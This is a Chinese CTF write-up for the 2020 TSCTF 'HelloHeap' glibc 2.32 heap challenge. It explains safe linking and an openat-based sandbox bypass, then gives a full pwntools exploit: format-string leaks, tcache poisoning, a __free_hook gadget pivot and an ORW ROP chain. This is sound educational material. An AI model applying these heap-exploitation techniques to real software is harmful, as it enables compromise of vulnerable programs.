前言
仍然是比赛结束后来探险,xxrw师傅出的一道题目,很有趣的一道题。漏洞很巧妙难以定位,利用起来比较有意思,也学到了safe linking保护机制和2.31/2.32 setcontext的利用方法。
tag:glibc 2.32、setcontext、openat、safe linking、沙箱绕过、堆溢出、sprintf
safe linking保护机制
简单的说就是fd会被改为当前(chunk>>12)^next_chunk(tcache和fastbin都有这种机制)
例: 当前chunk a的addr为:0x55555555a3b0,即将释放一个同样大小的chunk b进入tcache链,b的首地址是0x55555555a2c0,那么fd本身应该是0x55555555a2d0,但由于safe linking机制,fd会被改为(0x55555555a3b0>>12)^0x55555555a2d0=0x55500000f78a
2020 TSCTF HelloHeap
查看文件
保护全开
IDA分析
程序四个功能修改队名、修改口号、创建队伍、删除队伍。
结构体如下:
另一个漏洞则存在于强制性read 0x50,同样的会造成堆溢出
同时我们看看沙箱机制:
我们看到open函数都被禁掉了,ORW是不是就不可用了?
思路
总之一个问题一个问题解决吧:
1.首先是open函数被禁掉了,应该怎么办?
open函数代替函数openat。简单的来说,openat的区别是,rdi参数可以是文件路径,但是也可以直接将rdi置为0,然后rsi为打开文件的绝对路径。其它的参数不用管了。
2.第一个off by null的漏洞我们可以怎么利用?
我们可以通过off by null改掉slogan的指向,然后将函数指针改为printf,在name处提前准备格式化字符串,泄露libc地址、heap地址还有程序加载基地址。
3.通过第二个溢出来劫持tcache pthread header:
劫持tcache pthread header后可以在free_hook写mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];的gadgets,然后将栈参数、rop等数据存放到对应的位置,ORW读出flag。
exp
#coding=utf-8
from pwn import *
debug = 2
context.terminal = ['tmux','split','-h']
context.log_level = "debug"
context.update(os="linux",arch="amd64",log_level = "debug")
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
itv = lambda :p.interactive()
def change_ld(binary, ld):
"""
Force to use assigned new ld.so by changing the binary
"""
if not os.access(ld, os.R_OK):
log.failure("Invalid path {} to ld".format(ld))
return None
if not isinstance(binary, ELF):
if not os.access(binary, os.R_OK):
log.failure("Invalid path {} to binary".format(binary))
return None
binary = ELF(binary)
for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
return None
binary.write(addr, ld.ljust(size, '\0'))
if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
if os.access(path, os.F_OK):
os.remove(path)
info("Removing exist file {}".format(path))
binary.save(path)
os.chmod(path, 0b111000000) #rwx------
success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
return ELF(path)
# example
p = process("./helloheap")
elf = change_ld('./helloheap', './ld.so.2')
# libc_offset = 0x3c4b20
success("success load 2.32 libc")
libc = ELF('./libc.so.6')
p = elf.process(env={'LD_PRELOAD':'./libc.so.6'})
def start():
p.recvuntil("name:)\n")
p.sendline("BlueSheep")
def createTeam(teamName,sloganSize,slogan):
sla("choice:\n","1")
sa("name:",teamName)
sla("size:\n",str(sloganSize))
sa("slogan:\n",slogan)
def deleteTeam(index):
sla("choice:\n","2")
sla("id:\n",str(index))
def editSlogan(index,slogan):
sla("choice:\n","3")
sla("id:\n",str(index))
sa(":(\n",slogan)
def editName(index,name):
sla("choice:\n","4")
sla("id:\n",str(index))
sa("new name:\n",name)
def backdoor(index,info="1"):
sla("choice:\n",str(0x1337))
sla("id:\n",str(index))
start()
for i in range(7):
createTeam("a"*29,0xd0,"a"*0xd0)
createTeam("a"*29,0x20,"a"*0x20) # 7
createTeam("a"*29,0xd0,"a"*0xd0) # 8
createTeam("a"*29,0xa0,"a"*0xa0) # 9
createTeam("a"*29,0x10,"a"*0x10) # 10
#gdb.attach(p,"b *0x555555554000+0x1d3a")
editName(10,'|%9$p|%15$p|%23$p'.ljust(29,"\x11"))
editSlogan(10,"\x60\x51")
backdoor(10)
p.recvuntil("|0x")
code_base = int(p.recv(12),16)
success("code base ==> "+hex(code_base))
p.recvuntil("|0x")
heap_base = int(p.recv(12),16)-0x55555555a2a0+0x55555555a000
success("heap base ==> "+hex(heap_base))
p.recvuntil("|0x")
libc.address = int(p.recv(12),16)-0x7ffff6e15dfb+0x7ffff6dee000
success("libc address ==> "+hex(libc.address))
deleteTeam(0)
deleteTeam(9)
createTeam("a"*29,0xd0,"a"*0xd0) # 0
createTeam("a"*29,0xd0,"a"*0xd0) # 9
deleteTeam(0)
deleteTeam(9)
fd_addr = heap_base+0xe40
bk_addr = heap_base+0x20
crypto_addr = (fd_addr>>12)^bk_addr
editSlogan(10,p64(0)*3+p64(0x21)+p64(0)*3+p64(0xe1)+p64(crypto_addr)+p64(0))
deleteTeam(7)
createTeam("a"*29,0xd0,"/home/shinnosuke/Desktop/pwn/helloheap/flag\x00") # 0
createTeam("a"*29,0xd0,p32(1)*2*2*6+p64(libc.sym["__free_hook"])*5+p64(heap_base+0x4000)+p64(libc.sym["__free_hook"]*8)) # 7
deleteTeam(1)
deleteTeam(2) # 1\2\9
# 0x0000000000124990: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
pop_rdi = 0x00000000000277d6+libc.address
pop_rsi = 0x0000000000032032+libc.address
pop_rdx_pop_rbx_ret = 0xf48ed + libc.address
syscall = 0x0000000000083445+libc.address
pop_rax = 0x3efe7+libc.address
createTeam("\x00"*29,0x20,p64(0x124990+libc.address))
createTeam("\x00"*29,0xd8,p64(0)+p64(heap_base+0x580)+p64(0)*2+p64(0x4b515+libc.address)+p64(0)*15+p64(heap_base+0x450)+p64(pop_rax)) # 0x55555555a580
payload = flat([
257,pop_rdi,0,pop_rsi,heap_base+0xe40,syscall,
pop_rax,0,pop_rdi,3,pop_rsi,heap_base+0xe00,pop_rdx_pop_rbx_ret,0x20,0,syscall,
pop_rax,1,pop_rdi,1,pop_rsi,heap_base+0xe00,pop_rdx_pop_rbx_ret,0x20,0,syscall
])
createTeam("\x00"*29,0xd8,payload) # 9 esp execute ORW 0x55555555a450
# gdb.attach(p)
deleteTeam(2)
p.interactive()